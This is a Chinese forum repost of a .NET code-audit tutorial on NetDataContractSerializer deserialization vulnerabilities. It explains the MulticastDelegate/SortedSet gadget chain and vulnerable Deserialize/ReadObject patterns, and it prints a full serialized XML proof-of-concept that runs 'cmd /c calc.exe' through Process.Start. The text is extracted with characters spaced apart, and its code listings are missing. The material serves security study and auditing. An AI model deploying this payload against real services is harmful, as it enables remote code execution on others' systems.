搜索

[2098] 2019-04-11_.NET高级代码审计（第七课）NetDataContractSerializer反序列化漏洞

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-16
2019-04-11_.NET高级代码审计（第七课）NetDataContractSerializer反序列化漏洞 . N E T 高 级 代 码 审 计 （ 第 七 课 ）   N e t D a t a C o n t r a c t S e r i a l i z e r 反 序 列 化 漏 洞 原 创   I v a n 1 e e   d o t N e t 安 全 研 究 僧   2 0 1 9 - 0 4 - 1 1 一 、 前 言 N e t D a t a C o n t r a c t S e r i a l i z e r 和 D a t a C o n t r a c t S e r i a l i z e r 一 样 用 于 序 列 化 和 反 序 列 化 W i n d o w s   C o m m u n i c a t i o n   F o u n d a t i o n   ( W C F )   消 息 中 发 送 的 数 据 。 两 者   之 间 存 在 一 个 重 要 区 别 ： N e t D a t a C o n t r a c t S e r i a l i z e r   包 含 了 C L R ， 通 过 C L R 类 型 添 加 额 外 信 息 并 保 存 引 用 来 支 持 类 型 精 确 ， 而 D a t a C o n t r a c t S e r i a l i z e r   则 不 包 含 。   因 此 ， 只 有 在 序 列 化 和 反 序 列 化 端 使 用 相 同 的   C L R   类 型 时 ， 才 能 使 用   N e t D a t a C o n t r a c t S e r i a l i z e r 。 若 要 序 列 化 对 象 使 用   W r i t e O b j e c t 或 者 S e r i a l i z e 方 法 ， 若 要 反 序 列 化   X M L 流 使 用 R e a d O b j e c t 或 者 D e s e r i a l i z e 方 法 。 在 某 些 场 景 下 读 取 了 恶 意 的 X M L 流 就 会 造 成 反 序 列 化 漏 洞 ， 从 而 实 现 远 程 R C E 攻 击 ， 本 文 笔 者 从 原 理 和 代 码 审 计 的 视 角 做 了 相 关 介 绍 和 复 现 。 二 、 序 列 化 使 用 W r i t e O b j e c t 或 者 S e r i a l i z e 可 以 非 常 方 便 的 实 现 . N E T 对 象 与 X M L 数 据 之 间 的 转 化 ， 注 意 N e t D a t a C o n t r a c t S e r i a l i z e r 包 含 了 程 序 集 的 名 字 和 被 序 列 化 类 型 的 类 型 。 这 些 额 外 信 息 可 以 用 来 将 X M L 反 序 列 化 成 特 殊 类 型 ， 允 许 相 同 类 型 可 以 在 客 户 端 和 服 务 端 同 时 使 用 。 另 外 的 信 息 是 z : I d 属 性 在 不 同 的 元 素 上 意 义 是 不 同 的 。 这 个 用 来 处 理 引 用 类 型 以 及 当 X M L 被 反 序 列 化 时 是 否 引 用 可 以 保 留 ， 最 后 的 结 论 是 这 个 输 出 相 比 D a t a C o n t r a c t S e r i a l i z e r 的 输 出 包 含 了 更 多 信 息 。 下 面 通 过 一 个 实 例 来 说 明 问 题 ， 首 先 定 义 T e s t C l a s s 对 象 。 定 义 了 三 个 成 员 ， 并 实 现 了 一 个 静 态 方 法 C l a s s M e t h o d 启 动 进 程 。   序 列 化 通 过 创 建 对 象 实 例 分 别 给 成 员 赋 值 笔 者 使 用 S e r i a l i z e 得 到 序 列 化 T e s t C l a s s 类 后 的 x m l 数 据 < T e s t C l a s s z : I d = " 1 " z : T y p e = " W p f A p p 1 . T e s t C l a s s " z : A s s e m b l y = " W p f A p p 1 , V e r s i o n = 1 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = n u l l " x m l n s = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / W p f A p p 1 " x m l n s : i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e " x m l n s : z = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / 2 0 0 3 / 1 0 / S e r i a l i z a t i o n / " > < a g e > 1 8 < / a g e > < c l a s s n a m e z : I d = " 2 " > 3 6 0 < / c l a s s n a m e > < n a m e z : I d = " 3 " > I v a n 1 e e < / n a m e > < / T e s t C l a s s > 三 、 反 序 列 化 3 . 1 、 反 序 列 化 用 法 、 反 序 列 化 用 法 N e t D a t a C o n t r a c t S e r i a l i z e r 类 反 序 列 过 程 是 将 X M L 流 转 换 为 对 象 ， 通 过 创 建 一 个 新 对 象 的 方 式 调 用 R e a d O b j e c t 多 个 重 载 方 法 或 S e r i a l i z e 方 法 实 现 的 ， 查 看 定 义 得 知 继 承 自 X m l O b j e c t S e r i a l i z e r 抽 象 类 、 I F o r m a t t e r 接 口 N e t D a t a C o n t r a c t S e r i a l i z e r 类 实 现 了 X m l O b j e c t S e r i a l i z e r 抽 象 类 中 的 W r i t e O b j e c t 、 R e a d O b j e c t 方 法 ， 也 实 现 了 I F o r m a t t e r 中 定 义 的 方 法 。 笔 者 通 过 创 建 新 对 象 的 方 式 调 用 D e s e r i a l i z e 方 法 实 现 的 具 体 实 现 代 码 可 参 考 以 下 其 实 在 D e s e r i a l i z e 方 法 内 也 是 调 用 了 R e a d O b j e c t 方 法 反 序 列 化 的
反 序 列 化 后 得 到 对 象 的 属 性 ， 打 印 输 出 当 前 成 员 N a m e 的 值 。 3 . 2 、 攻 击 向 量 、 攻 击 向 量 — M u l t i c a s t D e l e g a t e 多 路 广 播 委 托 （ M u l t i c a s t D e l e g a t e ） 继 承 自   D e l e g a t e ， 其 调 用 列 表 中 可 以 拥 有 多 个 元 素 的 委 托 ， 实 际 上 所 有 委 托 类 型 都 派 生 自 M u l t i c a s t D e l e g a t e 。 M u l t i c a s t D e l e g a t e 类 的 _ i n v o c a t i o n L i s t 字 段 在 构 造 委 托 链 时 会 引 用 委 托 数 组 ， 但 为 了 取 得 对 委 托 链 更 多 的 控 制 就 得 使 用 G e t I n v o c a t i o n L i s t 方 法 ， 它 是 具 有 一 个 带 有 链 接 的 委 托 列 表 ， 在 对 委 托 实 例 进 行 调 用 的 时 候 ， 将 按 列 表 中 的 委 托 顺 序 进 行 同 步 调 用 ， 那 么 如 何 将 c a l c . e x e 添 加 到 G e t I n v o c a t i o n L i s t 列 表 方 法 ？ 首 先 先 看 C o m p a r i s o n < T > 类 ， 它 用 于 位 于 命 令 空 间 S y s t e m . C o l l e c t i o n s . G e n e r i c ， 定 义 如 下 C o m p a r i s o n 类 返 回 委 托 ， 再 使 用 D e l e g a t e 或 者 M u l t i c a s t D e l e g a t e 类 的 公 共 静 态 方 法 C o m b i n e 将 委 托 添 加 到 链 中 作 为 C o m p a r i s o n 的 类 型 比 较 器 使 用 C o m p a r e r < T > 的 静 态 方 法 C r e a t e 创 建 比 较 器 ， 比 较 器 对 象 在 . N E T 集 合 类 中 使 用 的 频 率 较 多 ， 也 具 备 了 定 制 的 反 序 列 化 功 能 ， 这 里 选 择 S o r t e d S e t < T > 类 ， 在 反 序 列 化 的 时 内 部 C o m p a r e r 对 象 重 构 了 集 合 的 排 序 。 多 路 广 播 委 托 的 调 用 列 表 G e t I n v o c a t i o n L i s t 方 法 在 内 部 构 造 并 初 始 化 一 个 数 组 ， 让 它 的 每 个 元 素 都 引 用 链 中 的 一 个 委 托 ， 然 后 返 回 对 该 数 组 的 引 用 ， 下 面 代 码 修 改 了 私 有 字 段 _ I n v o c a t i o n L i s t 并 用 泛 型 委 托 F u n c 返 回 P r o c e s s 类 。 最 后 传 入 攻 击 载 荷 后 得 到 完 整 序 列 化 后 的 p o c ， 如 下 四 、 代 码 审 计 4 . 1 、 、 D e s e r i a l i z e 从 代 码 审 计 的 角 度 只 需 找 到 可 控 的 P a t h 路 径 就 可 以 被 反 序 列 化 ， 例 如 以 下 场 景 ： 4 . 2 、 、 R e a d O b j e c t 上 面 两 种 方 式 都 是 很 常 见 的 ， 需 要 重 点 关 注 。 五 、 复 盘 1 .         代 码 中 实 现 读 取 本 地 文 件 内 容
2 .         传 递 p o c   x m l ， 弹 出 计 算 器 网 页 返 回 2 0 0 < A r r a y O f s t r i n g z : I d = " 1 " z : T y p e = " S y s t e m . C o l l e c t i o n s . G e n e r i c . S o r t e d S e t ` 1 [ [ S y s t e m . S t r i n g , m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] ] " z : A s s e m b l y = " S y s t e m , V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 " x m l n s = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / 2 0 0 3 / 1 0 / S e r i a l i z a t i o n / A r r a y s " x m l n s : i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e " x m l n s : x = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a " x m l n s : z = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / 2 0 0 3 / 1 0 / S e r i a l i z a t i o n / " > < C o u n t z : I d = " 2 " z : T y p e = " S y s t e m . I n t 3 2 " z : A s s e m b l y = " 0 " x m l n s = " " > 2 < / C o u n t > < C o m p a r e r z : I d = " 3 " z : T y p e = " S y s t e m . C o l l e c t i o n s . G e n e r i c . C o m p a r i s o n C o m p a r e r ` 1 [ [ S y s t e m . S t r i n g , m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] ] " z : A s s e m b l y = " 0 " x m l n s = " " > < _ c o m p a r i s o n z : I d = " 4 " z : F a c t o r y T y p e = " a : D e l e g a t e S e r i a l i z a t i o n H o l d e r " z : T y p e = " S y s t e m . D e l e g a t e S e r i a l i z a t i o n H o l d e r " z : A s s e m b l y = " 0 " x m l n s = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / S y s t e m . C o l l e c t i o n s . G e n e r i c " x m l n s : a = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / S y s t e m " < D e l e g a t e z : I d = " 5 " z : T y p e = " S y s t e m . D e l e g a t e S e r i a l i z a t i o n H o l d e r + D e l e g a t e E n t r y " z : A s s e m b l y = " 0 " x m l n s = " " > < a : a s s e m b l y z : I d = " 6 " > m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 , C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 < / a : a s s e m b l y > < a : d e l e g a t e E n t r y z : I d = " 7 " > < a : a s s e m b l y z : R e f = " 6 " i : n i l = " t r u e " / > < a : d e l e g a t e E n t r y i : n i l = " t r u e " / > < a : m e t h o d N a m e z : I d = " 8 " > C o m p a r e < / a : m e t h o d N a m e > < a : t a r g e t i : n i l = " t r u e " / > < a : t a r g e t T y p e A s s e m b l y z : R e f = " 6 " i : n i l = " t r u e " / > < a : t a r g e t T y p e N a m e z : I d = " 9 " > S y s t e m . S t r i n g < / a : t a r g e t T y p e N a m e > < a : t y p e z : I d = " 1 0 " > S y s t e m . C o m p a r i s o n ` 1 [ [ S y s t e m . S t r i n g , m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] ] < / a : t y p e > < / a : d e l e g a t e E n t r y > < a : m e t h o d N a m e z : I d = " 1 1 " > S t a r t < / a : m e t h o d N a m e > < a : t a r g e t i : n i l = " t r u e " / > < a : t a r g e t T y p e A s s e m b l y z : I d = " 1 2 " > S y s t e m ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 < / a : t a r g e t T y p e A s s e m b l y > < a : t a r g e t T y p e N a m e z : I d = " 1 3 " > S y s t e m . D i a g n o s t i c s . P r o c e s s < / a : t a r g e t T y p e N a m e > < a : t y p e z : I d = " 1 4 " > S y s t e m . F u n c ` 3 [ [ S y s t e m . S t r i n g , m s c o r l i b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] , [ S y s t e m . S t r i n g ,   m s c o r l i b , V e r s i o n = 4 . 0 . 0 . 0 , C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] , [ S y s t e m . D i a g n o s t i c s . P r o c e s s , S y s t e m ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l , P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 ] ] < / a : t y p e > < / D e l e g a t e > < m e t h o d 0 z : I d = " 1 5 " z : F a c t o r y T y p e = " b : M e m b e r I n f o S e r i a l i z a t i o n H o l d e r " z : T y p e = " S y s t e m . R e f l e c t i o n . M e m b e r I n f o S e r i a l i z a t i o n H o l d e r " z : A s s e m b l y = " 0 " x m l n s = " " x m l n s : b = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / S y s t e m . R e f l e c t i o n " > < N a m e z : R e f = " 1 1 " i : n i l = " t r u e " / > < A s s e m b l y N a m e z : R e f = " 1 2 " i : n i l = " t r u e " / > < C l a s s N a m e z : R e f = " 1 3 " i : n i l = " t r u e " / > < S i g n a t u r e z : I d = " 1 6 " z : T y p e = " S y s t e m . S t r i n g " z : A s s e m b l y = " 0 " > S y s t e m . D i a g n o s t i c s . P r o c e s s   S t a r t ( S y s t e m . S t r i n g , S y s t e m . S t r i n g ) < / S i g n a t u r e > < S i g n a t u r e 2 z : I d = " 1 7 " z : T y p e = " S y s t e m . S t r i n g " z : A s s e m b l y = " 0 " > S y s t e m . D i a g n o s t i c s . P r o c e s s S t a r t ( S y s t e m . S t r i n g ,   S y s t e m . S t r i n g ) < / S i g n a t u r e 2 > < M e m b e r T y p e z : I d = " 1 8 " z : T y p e = " S y s t e m . I n t 3 2 " z : A s s e m b l y = " 0 " > 8 < / M e m b e r T y p e > < G e n e r i c A r g u m e n t s i : n i l = " t r u e " / > < / m e t h o d 0 > < m e t h o d 1 z : I d = " 1 9 " z : F a c t o r y T y p e = " b : M e m b e r I n f o S e r i a l i z a t i o n H o l d e r " z : T y p e = " S y s t e m . R e f l e c t i o n . M e m b e r I n f o S e r i a l i z a t i o n H o l d e r " z : A s s e m b l y = " 0 " x m l n s = " " x m l n s : b = " h t t p : / / s c h e m a s . d a t a c o n t r a c t . o r g / 2 0 0 4 / 0 7 / S y s t e m . R e f l e c t i o n " > < N a m e z : R e f = " 8 " i : n i l = " t r u e " / > < A s s e m b l y N a m e z : R e f = " 6 " i : n i l = " t r u e " / > < C l a s s N a m e z : R e f = " 9 " i : n i l = " t r u e " / > < S i g n a t u r e z : I d = " 2 0 " z : T y p e = " S y s t e m . S t r i n g " z : A s s e m b l y = " 0 " > I n t 3 2   C o m p a r e ( S y s t e m . S t r i n g ,   S y s t e m . S t r i n g ) < / S i g n a t u r e > < S i g n a t u r e 2 z : I d = " 2 1 " z : T y p e = " S y s t e m . S t r i n g " z : A s s e m b l y = " 0 " > S y s t e m . I n t 3 2   C o m p a r e ( S y s t e m . S t r i n g , S y s t e m . S t r i n g ) < / S i g n a t u r e 2 > < M e m b e r T y p e z : I d = " 2 2 " z : T y p e = " S y s t e m . I n t 3 2 " z : A s s e m b l y = " 0 " > 8 < / M e m b e r T y p e > < G e n e r i c A r g u m e n t s i : n i l = " t r u e " / > < / m e t h o d 1 > < / _ c o m p a r i s o n > < / C o m p a r e r > < V e r s i o n z : I d = " 2 3 " z : T y p e = " S y s t e m . I n t 3 2 " z : A s s e m b l y = " 0 " x m l n s = " " > 2 < / V e r s i o n > < I t e m s z : I d = " 2 4 " z : T y p e = " S y s t e m . S t r i n g [ ] " z : A s s e m b l y = " 0 " z : S i z e = " 2 " x m l n s = " " > < s t r i n g z : I d = " 2 5 " x m l n s = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / 2 0 0 3 / 1 0 / S e r i a l i z a t i o n / A r r a y s " > / c   c a l c . e x e < / s t r i n g > < s t r i n g z : I d = " 2 6 " x m l n s = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / 2 0 0 3 / 1 0 / S e r i a l i z a t i o n / A r r a y s " > c m d < / s t r i n g > < / I t e m s > < / A r r a y O f s t r i n g > 最 后 配 上 动 态 图 演 示 六 、 总 结 N e t D a t a C o n t r a c t S e r i a l i z e r 序 列 化 功 能 输 出 的 信 息 更 多 ， 因 为 性 能 等 原 因 不 及 D a t a C o n t r a c t S e r i a l i z e r ， 所 以 在 W C F 开 发 中 用 的 场 景 并 不 太 多 ， 但 是 因 为 它 无 需 传 入 类 型 解 析 器 所 以 相 对 来 说 更 容 易 触 发 反 序 列 化 漏 洞 。 最 后 . N E T 反 序 列 化 系 列 课 程 笔 者 会 同 步 到   h t t p s : / / g i t h u b . c o m / I v a n 1 e e / 、 h t t p s : / / i v a n 1 e e . g i t b o o k . i o / ， 后 续 笔 者 将 陆 续 推 出 高 质 量 的 . N E T 反 序 列 化 漏 洞 文 章 ， 欢 迎 大 伙 持 续 关 注 ， 交 流 ， 更 多 的 . N E T 安 全 和 技 巧 可 关 注 实 验 室 公 众 号 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理